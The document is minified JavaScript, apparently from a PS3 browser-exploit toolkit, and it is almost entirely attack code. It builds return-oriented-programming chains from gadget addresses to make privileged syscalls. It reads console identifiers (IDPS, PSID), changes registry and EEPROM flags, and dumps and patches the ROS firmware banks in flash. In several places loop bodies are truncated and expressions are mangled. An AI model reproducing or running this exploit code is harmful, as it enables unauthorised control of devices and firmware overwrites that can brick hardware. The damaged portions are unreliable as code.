helper.rop.run(syscall32(helper.sys_ppu_thread_start,h)),helper.heap.free([u]),threadObject(h,a,p)}function threadObject(e,t,r){return{thread_id:e,stack_offset:t,stack_size:r}}function createThreadwithOPD(e,t,r,s,o,l){var n=(e=(e=dummy_frame()+e+ringBuzzer(3)+syscall32(helper.sys_ppu_thread_exit,0)).substr(0,80)+helper.gadgets_box.fptoc_addr.toString64()+e.substr(288,328)+l.opd1.toString32()+e.substr(624)).length/2,i=(new Date,helper.stack.store(e)),a=helper.heap.store((i+128).toString32()),p=helper.heap.store(r,!0),c=helper.heap.store(8);helper.rop.run(syscall32(helper.sys_ppu_thread_create,c,l.opd3,a,0,s,o,t,p));var d=helper.memory.upeek32(c+4);return helper.rop.run(syscall32(helper.sys_ppu_thread_start,d)),helper.heap.free([c,p,a]),{thread_id:d,stack_offset:i,stack_size:n}}function vset_r30_r31(e,t){return fill(16,helper.dbyte41)+vhexdw2bin(helper.vshgadgets_box.vgadget3_addr)+fill(88,helper.dbyte41)+vhexdw2bin(e)+vhexdw2bin(t)}function vset_r3to11(e,t,r,s,o,l,n,i,a,p,c,d){return vset_r30_r31()+fill(16,helper.dbyte41)+vhexdw2bin(helper.vshgadgets_box.vgadget4_addr)+fill(80,helper.dbyte41)+fill(12,helper.dbyte41)+hexw2bin(a)+hexw2bin(i)+hexw2bin(l)+hexw2bin(o)+hexw2bin(s)+hexw2bin(r)+hexw2bin(t)+fill(4,helper.dbyte41)+hexw2bin(n)+fill(16,helper.dbyte41)+vhexdw2bin(p)+vhexdw2bin(c)+vhexdw2bin(e)+fill(16,helper.dbyte41)+vhexdw2bin(helper.vshgadgets_box.vgadget5_addr)+fill(96,helper.dbyte41)+vhexdw2bin(d)}function vcall_subByOpd(e,t,r,s,o,l,n,i,a){return vset_r3to11(t,r,s,o,l,n,i,a,e)+fill(16,helper.dbyte41)+vhexdw2bin(helper.vshgadgets_box.vgadget8_addr)+fill(88,helper.dbyte41)}function vsyscall32(e,t,r,s,o,l,n,i,a){return vset_r3to11(t,r,s,o,l,n,i,a,e)+fill(16,helper.dbyte41)+vhexdw2bin(helper.vshgadgets_box.vgadget7_addr)+fill(104,helper.dbyte41)}function vstore_r3_word(e,t){return fill(16,helper.dbyte41)+vhexdw2bin(helper.vshgadgets_box.vgadget6_addr+4)+fill(96,helper.dbyte41)+vhexdw2bin(e)+fill(16,helper.dbyte41)+vhexdw2bin(helper.vshgadgets_box.vgadget6_addr)+fill(96,helper.dbyte41)+vhexdw2bin(t)}function vringBuzzer(e){var t=4,r=6;return 3===e?(t=10,r=438):10===e&&(t=10,r=4095),vsyscall32(helper.sc_sm_ring_buzzer,4100,t,r)}function createExternalResourceThread(e,t,r,s,o,l){helper.memory.upokes(l,(l-20).toString64()+helper.vshgadgets_box.vgadget10_addr.toString32()+helper.vshgadgets_box.vtoc_addr.toString32()+(l+8).toString32()+(l+65536).toString32()+"0000000000000000"+r.toAscii8()),e=helper.vshgadgets_box.vgadget9_addr.toString32()+helper.vshgadgets_box.vtoc_addr.toString32()+fill(32,helper.dbyte41)+helper.vshgadgets_box.vtoc_addr.toString64()+fill(64,helper.dbyte41)+e+vsyscall32(helper.sys_ppu_thread_exit,0),helper.memory.upokes(l+65536,e),helper.rop.run(syscall32(helper.sys_ppu_thread_create,l+24,l+16,l,0,s,o,t,l+32));var n=helper.memory.upeek32(l+28);return helper.rop.run(syscall32(helper.sys_ppu_thread_start,n)),Logger.info("Started External Thread with ID: 0x"+n.toString(16)),{thread_id:n,stack_offset:l+65536,stack_size:e.length/2}}function startThread(e){helper.rop.run(syscall32(helper.sys_ppu_thread_start,e))}function joinThread(e){var t=helper.heap.store(8);helper.rop.run(syscall32(helper.sys_ppu_thread_join,e,t));var r=helper.memory.upeek32(t+4);return helper.heap.free([t]),r}function stopThread(e){helper.rop.run(syscall32(helper.sys_ppu_thread_stop,e)+syscall32(helper.sys_ppu_thread_exit,0))}function runNewThreadAndWait(e,t,r,s,o){return 0===joinThread(createThread(e,t,r,s,o))?0:1}function sleep(e){helper.rop.run(syscall32(helper.sys_timer_sleep,e))}function usleep(e){helper.rop.run(syscall32(helper.sys_timer_usleep,e))}function ringBuzzer(e){var t=4,r=6;return 3===e?(t=10,r=438):10===e&&(t=10,r=4095),syscall32(helper.sc_sm_ring_buzzer,4100,t,r)}function mountPartition(e,t,r,s){if(!fsitem_exists(r)){var o=helper.heap.store(e,!0),l=helper.heap.store(t,!0),n=helper.heap.store(r,!0),i=!0===r.startsWith("/dev_usb")?helper.heap.store():0;null==s&&(s=0);var a=helper.rop.rrun(syscall32(helper.sc_fs_mount,o,l,n,0,s,0,i,0));return helper.heap.free(0===i?[o,l,n]:[o,l,n,i]),a}return 0}function unmount_partition(e){return e&&e.length>6&&fsitem_exists(e)?unmountPartition(e):0}function unmountPartition(e){var t=helper.heap.store(e,!0),r=helper.rop.rrun(syscall32(helper.sc_fs_unmount,t,0,0));return helper.heap.free([t]),r}function unmount_altdevblind(){unmount_partition("/dev_rebug"),unmount_partition("/dev_wflash"),unmount_partition("/dev_rwflash")}function deleteXRegistryKey(e){var t=helper.heap.store(e,!0),r=helper.rop.rrun(call_sub(helper.vshgadgets_box.vgadget1_addr,helper.vshgadgets_box.vtoc_addr)),s=x3.xRegistryDeleteKey(r,t,0);return helper.heap.free([t]),s}function setXRegistryValue(e,t,r,s){var o=helper.heap.store(e,!0),l=helper.heap.store(1024),n=0;s>0?(Logger.info("setXRegistryValue storing new xreg string "+t+" at 0x"+l.toString(16)),Logger.info("setXRegistryValue type 0x"+s.toString(16)+" length: 0x"+r.toString(16)+" value string length: 0x"+t.length.toString(16)),helper.memory.upokes(l,t,!0),n=l):"NaN"!==parseInt(t)?(Logger.info("setXRegistryValue storing new xreg integer "+t+" at 0x"+l.toString(16)),Logger.info("setXRegistryValue type 0x"+s.toString(16)+" length: 0x"+r.toString(16)),n=parseInt(t)):(Logger.info("setXRegistryValue storing new xreg value "+t+" as string at 0x"+l.toString(16)),Logger.info("setXRegistryValue type 0x"+s.toString(16)+" length: 0x"+r.toString(16)+" value string length: 0x"+t.length.toString(16)),helper.memory.upokes(l,t,!0),n=l);var i=helper.rop.rrun(call_sub(helper.vshgadgets_box.vgadget1_addr,helper.vshgadgets_box.vtoc_addr)),a=x3.xRegistrySetValue(helper.memory.upeek32(i+68),o,n,r,s);return helper.rop.run(call_sub(helper.vshgadgets_box.vgadget2_addr,helper.vshgadgets_box.vtoc_addr,i,o,l)),helper.heap.free([o,l]),a}function getXRegistryValueInt32(e){var t=helper.heap.store(),r=helper.heap.store(e,!0),s=helper.rop.rrun(call_sub(helper.vshgadgets_box.vgadget1_addr,helper.vshgadgets_box.vtoc_addr));helper.rop.run(call_sub(helper.vshgadgets_box.vgadget2_addr,helper.vshgadgets_box.vtoc_addr,s,r,t));var o=helper.memory.upeek32(t);return helper.heap.free([t,r]),o}var xRegistry=function(){var e=0;this.xopen=function(){if(0===e){var t=helper.heap.store(),r=x3.xRegistryGetDefaultInstance(1,t);if(0!==r)Logger.error("getXRegistryDefaultInstance error: 0x"+r.toString(16));else if(e=helper.memory.upeek32(t),Logger.info("xopen: xRegistryGetDefaultInstance instance: 0x"+e.toString(16)),0===e){alert("no xRegistry instance with x3 method, trying alternative method");var s=helper.rop.rrun(call_sub(helper.vshgadgets_box.vgadget1_addr,helper.vshgadgets_box.vtoc_addr));s>0?(e=helper.memory.upeek32(s+68),Logger.info("xopen: xRegistry instance: 0x"+e.toString(16))):Logger.error("xopen error getting default instance")}helper.heap.free([t])}return e},this.xclose=function(){if(e>0){var t=x3.xRegistryDestroyInstance(e);0===t?e=0:Logger.error("xclose error: 0x"+t.toString(16))}},this.xadd=function(t,r,s,o){if(0===this.xopen())return Logger.error("xadd: default xRegistry object instance error"),null;var l=0,n=[];"number"==typeof t&&t>0?l=t:"string"==typeof t&&t.length>0&&(l=helper.heap.store(t,!0),n.push(l));var i=helper.heap.store(1024),a=0;s>0||isNaN(r)?(helper.memory.upokes(i,r,!0),a=i):isNaN(r)||(a=parseInt(r));var p=0;return l>0&&0!==(p=x3.xRegistryAddKey(e,l,a,o,s))&&Logger.error("xadd error: 0x"+p.toString(16)),n.length>0&&helper.heap.free(n),p},this.xdelete=function(e){if(0===this.xopen())return Logger.error("xdelete: default xRegistry object instance error"),null;var t=0,r=[];"number"==typeof e&&e>0?t=e:"string"==typeof e&&e.length>0&&(t=helper.heap.store(e,!0),r.push(t));var s=0;return t>0&&0!==(s=x3.xRegistryDeleteKey(t,1))&&Logger.error("xdelete error: 0x"+s.toString(16)),r.length>0&&helper.heap.free(r),s},this.xget=function(t){if(0===this.xopen())return Logger.error("xget: default xRegistry object instance error"),null;var r=0,s=0,o=0,l=0,n=0,i="",a=[],p=null;try{if("object"==typeof t&&t.pointer>0&&t.setting.length>9)r=t.pointer,i=t.setting;else{if(!("string"==typeof t&&t.length>9))throw Error("invalid _setting argument");r=helper.heap.store(t,!0),a.push(r),i=t}var c=helper.heap.store(16);a.push(c);var d=x3.xRegistryGetValue(e,r,c+12,c,c+4,c+8),u=helper.memory.upeeks(c,16);if(0===d&&(Logger.info(i+" : "+u),s=parseInt(u.substr(16,8),16),o=parseInt(u.substr(8,8),16),l=parseInt(u.substr(0,8),16),p={error:d,setting:i,value:n=(n=parseInt(u.substr(-8),16))>268435456&&o>0&&l>0?helper.memory.secure_upeeks(n,l+1,!0):o>0?"":n,length:l=o>0&&0===n.length?0:l,type:o},s>0)){var h=x3.xRegistryDestroy(s);0!==h&&Logger.error("xget xRegistryDestroy error: 0x"+h.toString(16))}}catch(e){Logger.info(e)}finally{return helper.heap.free(a),p}},this.xset=function(t,r,s,o){if(0===this.xopen())return Logger.error("xset cannot get default xRegistry object instance"),null;var l=helper.heap.store(t,!0),n=[l],i=0,a=0;if(s>0||isNaN(r))i=helper.heap.store(1024),helper.memory.upokes(i,r,!0),a=i,n.push(i);else{if(isNaN(r))return Logger.error("xset argument error value: "+r),helper.heap.free(n),-1;a=parseInt(r)}var p=x3.xRegistrySetValue(e,l,a,o,s);return 0!==p&&Logger.error("xset error: 0x"+p.toString(16)),helper.heap.free(n),p},this.xgetList=function(t){if(0===this.xopen())return Logger.error("xgetList cannot get default xRegistry object instance"),null;var r=helper.heap.store(t,!0),s=helper.heap.store(16),o=x3.xRegistryGetList(e,r,s,s+4,s+8);0!==o&&Logger.error("xgetList error: 0x"+o.toString(16));var l=helper.memory.upeek32(s),n=helper.memory.upeek32(s+4),i=helper.memory.upeeks(s+8,6),a=[parseInt(i.substr(0,4),16),parseInt(i.substr(4,4),16),parseInt(i.substr(8,4),16)];return helper.heap.free([r,s]),{error:o,setting:t,list:l,length:n,unk3:a}},this.xdestroyList=function(e){var t=0;return"number"==typeof e&&e>0&&0!==(t=x3.xRegistryDestroyList(e))&&Logger.error("xdestroyList error: 0x"+t.toString(16)),t}};function getExdataPath(){return helper.profileId||(helper.profileId=getXRegistryValueInt32("/setting/user/lastLoginUserId").toString32()),"/dev_hdd0/home/"+helper.profileId+"/exdata/"}function getMinVer(){var e=helper.heap.store(40),t=helper.rop.rrun(syscall32(helper.sc_ss_update_manager,24593,1,e,0,0,0,0,0)),r=0===t?helper.memory.upeek8(e+1).toString(16)+"."+helper.memory.upeek8(e+3).toString(16):0;return helper.heap.free([e]),{version:r,error:0===t?0:t.toString(16)}}function setEEPROMValue(e,t){return helper.rop.rrun(syscall32(helper.sc_ss_update_manager,24588,e,t,0,0,0,0))}function getEEPROMValue(e){var t=helper.heap.store(8),r=helper.rop.rrun(syscall32(helper.sc_ss_update_manager,24587,e,t,0,0,0,0));Logger.info("getEEPROMValue: ret 0x"+r.toString(16)+" value 0x"+helper.memory.upeek32(t+4).toString(16));var s=0===r?helper.memory.upeek32(t+4).toString(16):0;return helper.heap.free([t]),{value:0===s?"":s.toUpperCase(),error:0===r?0:r.toString(16)}}function setRecoverFlag(){return setEEPROMValue(298081,255)}function getRecoverModeFlag(){var e=getEEPROMValue(298081);return{flag:e.value,error:e.error}}function getProductModeFlag(){var e=getEEPROMValue(297991);return{flag:e.value,error:e.error}}function getFSELFFlag(){var e=getEEPROMValue(297990);return{flag:e.value,error:e.error}}function getBootFlag(){var e=getEEPROMValue(298020);return{flag:e.value,error:e.error}}function getIDs(){var e=helper.heap.store(56),t=[],r=helper.rop.rrun(syscall32(helper.sc_ss_ai_manager,102402,e,0,0,0,0,0));return t.push({id:"Product Code",value:0===r?helper.memory.upeek8(e+15).toString(16).toUpperCase():"",error:0===r?0:"0x"+r.toString(16)}),r=helper.rop.rrun(syscall32(helper.sc_ss_ai_manager,102403,e+16,0,0,0,0,0)),t.push({id:"IDPS",value:0===r?helper.memory.upeeks(e+16,16,!1).toUpperCase():"",error:0===r?0:"0x"+r.toString(16)}),r=helper.rop.rrun(syscall32(helper.sc_ss_ai_manager,102404,e+32,0,0,0,0,0)),t.push({id:"Product SubCode",value:0===r?helper.memory.upeeks(e+36,2,!1).toUpperCase():"",error:0===r?0:"0x"+r.toString(16)}),r=helper.rop.rrun(syscall32(helper.sc_ss_ai_manager,102405,e+40,0,0,0,0,0)),t.push({id:"PSID",value:0===r?helper.memory.upeeks(e+40,16,!1).toUpperCase():"",error:0===r?0:"0x"+r.toString(16)}),helper.heap.free([e]),t}function getMtldrVersion(e){var t=helper.heap.store(512);if(0!==e.read(1,4,{offset:t,size:512}))return"";var r=helper.memory.upeeks(t+32,16,!0);return helper.heap.free([t]),r}function is_norflash(){var e=helper.heap.store(4);helper.rop.run(syscall32(helper.sc_ssgcf,e));var t=!(1&helper.memory.upeek8(e)),r=t?"NOR":"NAND";return Logger.info("Detected Flash Memory Type: "+r),helper.heap.free([e]),t}var lwmutexObject=function(e){var t=e,r=0;this.create=function(){var e=helper.heap.store(t),s=helper.heap.store(4),o=sysPrxForUser.lwmutex_create(s,e);return r=0===o?helper.memory.upeek32(s):0,helper.heap.free([s,e]),o},this.id=function(){return r},this.lock=function(e){return r>0?helper.rop.rrun(syscall32(helper.sys_lwmutex_lock,r,e||0)):-1},this.trylock=function(){return r>0?helper.rop.rrun(syscall32(helper.sys_lwmutex_trylock,r)):-1},this.unlock=function(){return r>0?helper.rop.rrun(syscall32(helper.sys_lwmutex_unlock,r)):-1},this.close=function(){var e=r>0?helper.rop.rrun(syscall32(helper.sys_lwmutex_destroy,r)):-1;return r=0===e?0:r,e}},mutexObject=function(e){var t=e,r=0;this.create=function(){var e=helper.heap.store(t),s=helper.heap.store(4),o=helper.rop.rrun(syscall32(helper.sys_mutex_create,s,e));return r=0===o?helper.memory.upeek32(s):0,0===o?Logger.info("Mutex created - handle: 0x"+r.toString(16)):Logger.error("Mutex creation failed - error: 0x"+o.toString(16)),helper.heap.free([s,e]),o},this.id=function(){return r},this.lock=function(e){return r>0?helper.rop.rrun(syscall32(helper.sys_mutex_lock,r,e||0)):-1},this.trylock=function(){return r>0?helper.rop.rrun(syscall32(helper.sys_mutex_trylock,r)):-1},this.unlock=function(){return r>0?helper.rop.rrun(syscall32(helper.sys_mutex_unlock,r)):-1},this.close=function(){var e=r>0?helper.rop.rrun(syscall32(helper.sys_mutex_destroy,r)):-1;return 0===e?Logger.info("Mutex closed - handle: 0x"+r.toString(16)):Logger.error("Mutex closing failed - handle: 0x"+r.toString(16)+" error: 0x"+e.toString(16)),r=0===e?0:r,e}},semaphoreObject=function(e){var t=helper.heap.store(e),r=helper.heap.store(4),s=helper.heap.store(),o=helper.heap.store(52),l=0,n=0,i="",a="",p="";this.create=function(){var e=helper.rop.rrun(syscall32(helper.sys_sem_create,r,t,0,1));return l=0===e?helper.memory.upeek32(r):0,0===e?Logger.info("Semaphore created - handle: 0x"+l.toString(16)):Logger.error("Semaphore creation failed - error: 0x"+e.toString(16)),l>0&&(a=syscall32(helper.sys_sem_post,l,1),p=syscall32(helper.sys_sem_getvalue,l,s),(n=helper.rop.rrun(syscall32(helper.sys_process_getpid)))>0&&(i=syscall32(helper.sys_dbg_get_seminfo,n,l,o))),e},this.id=function(){return l},this.getValue=function(){if(l>0){helper.memory.upoke32(ptr,4294967295),helper.rop.run(p);var e=helper.memory.upeek32(ptr);return 4294967295===e?-1:e}return-1},this.trywait=function(e){return l>0?helper.rop.rrun(syscall32(helper.sys_sem_trywait,l)):-1},this.wait=function(e){return l>0?helper.rop.rrun(syscall32(helper.sys_sem_wait,l,e||0)):-1},this.post=function(e){return l>0?helper.rop.rrun(syscall32(helper.sys_sem_post,l,e||1)):-1},this.fast_post=function(){l>0&&helper.rop.run(a)},this.numWaitThreads=function(){if(Logger.debug("numWaitThreads: Semaphore ID "+l.toString(16)+" Process ID "+n.toString(16)+" Info data at 0x"+o.toString(16)),l<=0||n<=0||i.length<=0)return Logger.error("numWaitThreads: Not Ready"),-1;helper.memory.upoke32(o+48,4294967295);var e=helper.rop.rrun(i);if(e>0)return Logger.error("numWaitThreads: error 0x"+e.toString(16)),-1;var t=helper.memory.upeek32(o+48);return Logger.debug("numWaitThreads: Waiting Threads count: "+t.toString(16)),4294967295===t?-1:t},this.close=function(){var e=l>0?helper.rop.rrun(syscall32(helper.sys_sem_close,l)):-1;return 0===e?Logger.info("Semaphore closed - handle: 0x"+l.toString(16)):Logger.error("Semaphore closing failed - handle: 0x"+l.toString(16)+" error: 0x"+e.toString(16)),0===(l=0===e?0:l)&&helper.heap.free([s]),e}},fileObject=function(e,t){Logger.info("File Object Creation: "+e),this.path=helper.heap.store(e,!0),this.fd=-1,this.buffer={offset:0,size:0},this.mode=t||helper.fs_flag_readonly,this.getsize=function(){var e=helper.heap.store(128);lockMutexes();var t=helper.rop.rrun(syscall32(helper.sc_fs_stat,this.path,e));unlockMutexes();var r=0===t?helper.memory.upeek32(e+helper.stat_size_offset):0;return helper.heap.free([e]),r},this.size=this.getsize(),this.chmod=function(e){var t=4294967295;return e>=273&&e<=1911&&(lockMutexes(),t=helper.rop.rrun(syscall32(helper.sc_fs_chmod,this.path,e)),lockMutexes()),0!==t&&Logger.error("File Object chmod: failed to apply permissions 0x"+e.toString(16)),t},this.open=function(t){var r=0;if(this.fd<0){Logger.info("File Object open"),this.mode=t||this.mode;var s=helper.heap.store("DEADBEEF"),o=helper.heap.store();lockMutexes(),r=helper.rop.rrun(syscall32(helper.sc_fs_open,this.path,this.mode,s,helper.fs_mode,o)),unlockMutexes();var l=helper.memory.upeek32(s);this.fd=3735928559!==l?l:-1,helper.heap.free([s,o]),(0!==r||this.fd<0)&&Logger.error("File Object open: failed to open "+e)}return r},this.close=function(t){var r=0;return this.fd>=0&&(lockMutexes(),r=helper.rop.rrun(syscall32(helper.sc_fs_close,this.fd)),unlockMutexes(),t&&this.buffer&&this.buffer.offset>0&&helper.buffer.free([this.buffer.offset]),0!==r?Logger.error("File Object close: failed to close "+e):(this.fd=-1,Logger.info("File Object closed"))),r},this.load=function(t,r,s,o){var l=2415919103;if(this.size<=0)return Logger.info("File Object load: no data to load in "+e),l;if(0!==(l=this.open(s))||this.fd<0)return l;t=t||this.size;var n=r||null;if(n||(helper.buffer.free([this.buffer.offset]),this.buffer=helper.buffer.create(t),n=this.buffer),n.size0)return l=2332033023,Logger.error("File Object.load: Buffer size = 0x"+n.size.toString(16)+" bytes. Cannot buffer 0x"+t.toString(16)+" bytes of data at 0x"+n.offset.toString(16)+" - error: 0x"+l.toString32()),l;if(n.offset<268435456)return l=2348810239,Logger.error("File Object.load: Buffer size = 0x"+n.size.toString(16)+" bytes. Cannot buffer 0x"+t.toString(16)+" bytes of data at 0x"+n.offset.toString(16)+" - error: 0x"+l.toString32()),l;if(Logger.info("File Object load: Size 0x"+t.toString(16)+" Buffer offset 0x"+n.offset.toString32()),lockMutexes(),parseInt(o)===o){var i=helper.heap.store();l=helper.rop.rrun(syscall32(helper.sc_fs_lseek,this.fd,o,0,i)),Logger.info("File Object load: Seeking file position 0x"+o.toString(16)),0===l&&o===helper.memory.upeek32(i)||Logger.error("File Object load error:"+l>0?" 0x"+l.toString(16):" seek operation failed"),helper.heap.free([i])}var a=helper.heap.store(8);l=helper.rop.rrun(syscall32(helper.sc_fs_read,this.fd,n.offset,t,a)),unlockMutexes();var p=helper.memory.upeek32(a+4);return helper.heap.free([a]),0!==l||p!==t?Logger.error("File Object load error:"+l>0?" 0x"+l.toString(16):" Loaded 0x"+p.toString(16)+" bytes but expected size is 0x"+load_size.toString(16)+" bytes.
    File loading error"):Logger.info("File Object load: Data loaded successfully"),l},this.save=function(e,t,r,s){var o=2415919103,l=e||this.buffer;if(l.offset>=0&&l.size>=t&&t>0){var n=helper.heap.store(8);if(0!==(o=this.open(r||helper.fs_flag_create_rw))||this.fd<0)return o;if(lockMutexes(),parseInt(s)===s){var i=helper.heap.store();o=helper.rop.rrun(syscall32(helper.sc_fs_lseek,this.fd,s,0,i)),Logger.info("File Object save: Seeking file position 0x"+s.toString(16)),0===o&&s===helper.memory.upeek32(i)||Logger.error("File Object save error:"+o>0?" 0x"+o.toString(16):" seek operation failed"),helper.heap.free([i])}o=helper.rop.rrun(syscall32(helper.sc_fs_write,this.fd,l.offset,t,n)),unlockMutexes(),Logger.info("File Object save: Size 0x"+t.toString(16)+" Buffer offset 0x"+l.offset.toString32());var a=helper.memory.upeek32(n+4);Logger.info("File Object save: Number of bytes written to file 0x"+a.toString(16)),helper.heap.free([n]),a!==t?(this.size+=a,Logger.error("File Object save error: Number of bytes saved 0x"+a.toString(16)+" - Expected number of bytes to save 0x"+t.toString(16))):this.size+=t}else o=l.sizet.tls.size)return this.error.code=2415919099,void(this.error.msg="ROSHashObject creation failure - TLS storage size too low");stdc.memset(o,255,s),this.ret=[],this.rlen=[],this.log=[],this.sfx=[];var l=t.dump_start,n=t.data_buffer.offset;this.log[0]="Multithreaded ROS banks Hashing Operations:
    Storage Object read - Number of Sectors: 0x"+28672..toString(16);for(var i="",a=0;aStorage Object read - Current Sector: 0x"+l.toString(16)+"
    Storage Object read - Current Memory Buffer Offset: 0x"+n.toString(16),l+=helper.step_sector,n+=helper.step_sector*e.sector_size;this.log[0]+="
    Storage Object read operation complete",this.sfx[0]=i,this.hash_r0=o,this.hash_r1=o+32;var p=e.is_nor(),c=p?16:48,d=p?7340048:7340064;Logger.info("ROSHashObject: ROS0 SHA256 Calculation Start Offset: 0x"+(t.data_buffer.offset+c).toString(16)),Logger.info("ROSHashObject: ROS0 SHA256 Hash Offset: 0x"+this.hash_r0.toString(16)),Logger.info("ROSHashObject: ROS1 SHA256 Calculation Start Offset: 0x"+(t.data_buffer.offset+d).toString(16)),Logger.info("ROSHashObject: ROS1 SHA256 Hash Offset: 0x"+this.hash_r1.toString(16)),i=p?"":vset_r30_r31()+vset_r30_r31()+vset_r30_r31()+vcall_subByOpd(stdc.getOPDbyName("memset"),t.data_buffer.offset+7340032+helper.patchfile_size,0,32),i+=vset_r30_r31()+vset_r30_r31()+vset_r30_r31()+vcall_subByOpd(sdk.getOPDbyName("cellCryptoPuSha256Hash"),this.hash_r1,t.data_buffer.offset+d,helper.patchfile_size),this.log[1]+="
    Calculated ROS 1 Hash",this.sfx[1]=i;var u=vset_r30_r31()+vset_r30_r31()+vset_r30_r31();i=p?"":u+vcall_subByOpd(stdc.getOPDbyName("memset"),t.data_buffer.offset+helper.patchfile_size,0,48),i+=u+vcall_subByOpd(sdk.getOPDbyName("cellCryptoPuSha256Hash"),this.hash_r0,t.data_buffer.offset+c,helper.patchfile_size),this.log[2]+="
    Calculated ROS 0 Hash",this.sfx[2]=i}else this.error.msg+="Storage Object cannot open"},patchObject=function(e,t){if(this.error={code:0,msg:""},!e||!t)return this.error.code=2415919098,void(this.error.msg="patchObject creation failure - bad arguments");if(this.error.code=e.open(),0===this.error.code){var r=t.sector_count/helper.step_sector/2,s=2*r*8,o=t.data_buffer.offset+t.data_buffer.size-1048576;stdc.memset(o,255,s),this.ret=[],this.wlen=[],this.log=[],this.sfp=[];for(var l=0,n=0,i="",a=0;a<2;a++){l=0===a?t.data_buffer.offset+t.offset_data.ros0:t.data_buffer.offset+t.offset_data.ros1,n=t.patch_start+a*(t.sector_count/2),this.log[a]+="Patch Object mt_write - Operation "+a.toString()+" - Number of Sectors: 0x"+(t.sector_count/2).toString(16)+" - Sector Start: 0x"+n.toString(16),this.wlen[a]=[],this.ret[a]=[];for(var p=0;pStorage Object write - Current Sector: 0x"+n.toString(16)+"
    Storage Object write - Current Memory Buffer Offset: 0x"+l.toString(16),l+=helper.step_sector*e.sector_size,n+=helper.step_sector;this.log[a]+="
    Patch Object mt_write - Operation "+a.toString()+" Completed",this.sfp[a]=i,i=""}this.log[1]+="
    Patch Object Operations complete"}else this.error.msg+="Storage Object cannot open"},dumpObject=function(e,t,r){if(this.error={code:0,msg:""},!e||!r)return this.error.code=2415919098,void(this.error.msg="dumpObject creation failure - bad arguments");if(this.error.code=e.open(),0===this.error.code)if(this.error.code=t.open(helper.fs_flag_create_rw),0===this.error.code){r.nsec_iter=r.nsec_iter*e.sector_size<=r.buffer.size?r.nsec_iter:r.buffer.size/e.sector_size;var s=parseInt(r.dump_start)===r.dump_start?r.dump_start:0,o=Math.floor(r.sector_count/r.nsec_iter),l=r.sector_count-o*r.nsec_iter,n=Math.floor(r.nsec_iter/helper.step_sector),i=Math.floor(l/helper.step_sector),a=l-i*helper.step_sector,p=r.nsec_iter-n*helper.step_sector;if(0===o)this.error.code=2415919103,this.error.msg+="Arguments error: obj.sector_count % obj.nsec_iter must be 0 & obj.sector_count>obj.nsec_iter";else{var c=(o+1)*(n+1)*8+12*(o+1)+8*(i+1),d=r.tls.offset;stdc.memset(d,255,c),this.rret=[],this.rlen=[],this.wret=[],this.wlen=[],this.log=[],this.sfr=[],this.sfw=[];var u=r.save_offset>0?helper.patchfile_size:r.nsec_iter*e.sector_size,h=l*e.sector_size,g=0;this.log[0]="Multithreaded Dump Operations:
    ";for(var f="",_=0;_Dump Object mt_read - Number of Sectors: 0x"+r.nsec_iter.toString(16),this.rret[_]=[],this.rlen[_]=[];for(var m=0;mDump Object mt_read - Current Sector: 0x"+s.toString(16)+"
    Dump Object mt_read - Current Memory Buffer Offset: 0x"+g.toString32(),s+=helper.step_sector,g+=helper.step_sector*e.sector_size;p>0&&(this.rret[_][n]=d,this.rlen[_][n]=d+4,d+=8,f+=vsyscall32(helper.sc_ssr,e.device_handle,0,s,p,g,this.rlen[_][n],34,0)+vstore_r3_word(this.rret[_][n]),this.log[_]+="
    Dump Object mt_read - Current Sector: 0x"+s.toString(16)+"
    Dump Object mt_read - Current Memory Buffer Offset: 0x"+g.toString32(),s+=p,g+=p*e.sector_size),this.sfr[_]=f,this.log[_]+="
    Dump Object mt_read operation complete
    Dump Object mt_save: Save Operations - Data Size 0x"+u.toString(16)+" Buffer offset 0x"+(r.buffer.offset+r.save_offset).toString32()+"
    Dump Object mt_save: Save Operations - Complete",this.wlen[_]=d,this.wret[_]=d+8,d+=12,f=vsyscall32(helper.sc_fs_write,t.fd,r.buffer.offset+r.save_offset,u,this.wlen[_])+vstore_r3_word(this.wret[_]),this.sfw[_]=f}if(l>0){for(f="",g=r.buffer.offset,this.log[o]="
    Dump Object mt_read - Number of Sectors: 0x"+r.nsec_iter.toString(16),this.rret[o]=[],this.rlen[o]=[],m=0;mDump Object mt_read - Current Sector: 0x"+s.toString32()+"
    Dump Object mt_read - Current Memory Buffer Offset: 0x"+g.toString32(),s+=helper.step_sector,g+=helper.step_sector*e.sector_size;a>0&&(this.rret[o][i]=d,this.rlen[o][i]=d+4,d+=8,f+=vsyscall32(helper.sc_ssr,e.device_handle,0,s,a,g,this.rlen[o][i],34,0)+vstore_r3_word(this.rret[o][i]),this.log[o]+="
    Dump Object mt_read - Current Sector: 0x"+s.toString32()+"
    Dump Object mt_read - Current Memory Buffer Offset: 0x"+g.toString32(),s+=a,g+=a*e.sector_size),this.sfr[o]=f,this.log[o]+="
    Dump Object mt_read operation complete
    Dump Object mt_save: Save Operations - Data Size 0x"+u.toString(16)+" Buffer offset 0x"+(r.buffer.offset+r.save_offset).toString32()+"
    Dump Object mt_save: Save Operations - Complete",this.wlen[o]=d,this.wret[o]=d+8,d+=12,f=vsyscall32(helper.sc_fs_write,t.fd,r.buffer.offset+r.save_offset,h,this.wlen[o])+vstore_r3_word(this.wret[o])+"",this.sfw[o]=f}}}else this.error.msg+="File Object in mode RW cannot open";else this.error.msg+="Storage Object cannot open"},storageObject=function(){this.device_handle=-1,this.current_sector=0,this.step_sector=helper.step_sector,this.buffer={offset:0,size:0};var e=helper.heap.store();this.totalsec=0,this.sector_size=0;var t=is_norflash();this.flash_type=t?UInt64("0100000000000004"):UInt64("0100000000000001"),this.is_nor=function(){return t},this.open=function(){var e=0;if(this.device_handle<=0){var t=helper.heap.store();e=helper.rop.rrun(syscall(helper.sc_sso,this.flash_type,0,t));var r=helper.memory.upeek32(t);if(helper.heap.free([t]),0!==e||r<=0)return Logger.error("Storage Object open: failed to open"),this.device_handle=-1,e;if(Logger.info("Storage Object opened"),this.device_handle=r,0===this.totalsec||0===this.sector_size){Logger.info("Storage Object get_device_info");var s=helper.heap.store(64);e=helper.rop.rrun(syscall(helper.sc_ssgdi,this.flash_type,s)),this.totalsec=helper.memory.upeek32(s+44),this.sector_size=helper.memory.upeek32(s+48),Logger.info("Storage Object Sector size: 0x"+this.sector_size.toString(16)+" bytes - Total Number of Sectors: 0x"+this.totalsec.toString(16)),helper.heap.free([s]),0!==e&&Logger.error("Storage Object get_device_info: failed to get data")}}return e},this.read=function(t,r,s){var o="Storage Object read - Number of Sectors: 0x"+t.toString(16),l=-1;if(0!==this.open()||this.device_handle<=0)return Logger.error("Storage Object read aborted"),l;this.current_sector=r||this.current_sector;var n=tStorage Object read - Current Sector: 0x"+this.current_sector.toString(16)+"
